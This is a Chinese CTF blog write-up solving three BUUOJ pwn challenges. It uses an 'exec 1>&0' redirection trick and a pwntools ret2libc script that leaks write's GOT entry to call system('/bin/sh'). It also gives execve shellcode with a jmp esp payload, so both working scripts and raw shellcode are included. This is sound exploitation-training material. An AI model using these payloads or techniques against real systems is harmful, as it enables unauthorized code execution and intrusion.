本文最后更新于280 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、wustctf2020_closed分析


64位partial relro和NX,但是进去就看到了system和binsh
vulnerable函数有两个close函数,这是什么

close是用来关闭一个已经打开文件的文件描述符
关闭了标准输出和标准错误,那我们可以重定向到标准输入,程序运行到shell去
后面才是返回shell
这里其实以前遇到过,exec重定向,先来看一下文件描述符
0:标准输入
1:标准输出
2:标准错误
就是用exe 1>&0去重定向,把标准输出改为标准输入,这个只在shell脚本里有用。
2、wustctf2020_closed实操
就直接nc输入exec 1>&0

3、jarvisoj_level1分析


32位
vulnerable_function函数

有栈溢出漏洞,这道题应该是ret2libc了,用write函数,但是没有开NX,要不试试shellcode.这样我们要知道buf的地址
其实它已经在程序开始给我们了,我们要接收它,但是我的本地环境和它的不一样,还是ret2libc吧
4、jarvisoj_level1实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26339)
elf=ELF("./level1")
libc=ELF("./libc-2.23.so")
vuln=0x804847B
write_plt=elf.plt['write']
write_got=elf.got['write']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
print(hex(write))
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

5、ciscn_2019_s_9分析


和上一道信息一样
pwn函数

这题没有打通,所以搜了一下,原来shellcode太长了,而且看到hint函数

这就需要我们构造一下了
首先我们要执行/bin/sh
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
之前收集过一个短的
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
然后覆盖原返回地址为指向jmp esp的地址
接着我们修改栈顶为s地址,就是输入shellcode的内存起始地址,需要手动加一下
sub esp,28h;call esp
这是因为s距离ebp是20h,而s距离返回地址的距离是0x24后面接jmp esp地址 0x08048554,距离esp就是28h,我们要让esp栈顶指向s就要让此时的esp减去28h
6、ciscn_2019_s_9实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28470)
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)#后面多余的空间用\x90补
paylaod=shellcode.ljust(0x24,b'\x90')+p32(0x8048554)+asm("sub esp,40;call esp")
p.sendline(paylaod)
p.interactive()

ok,就到这儿吧……










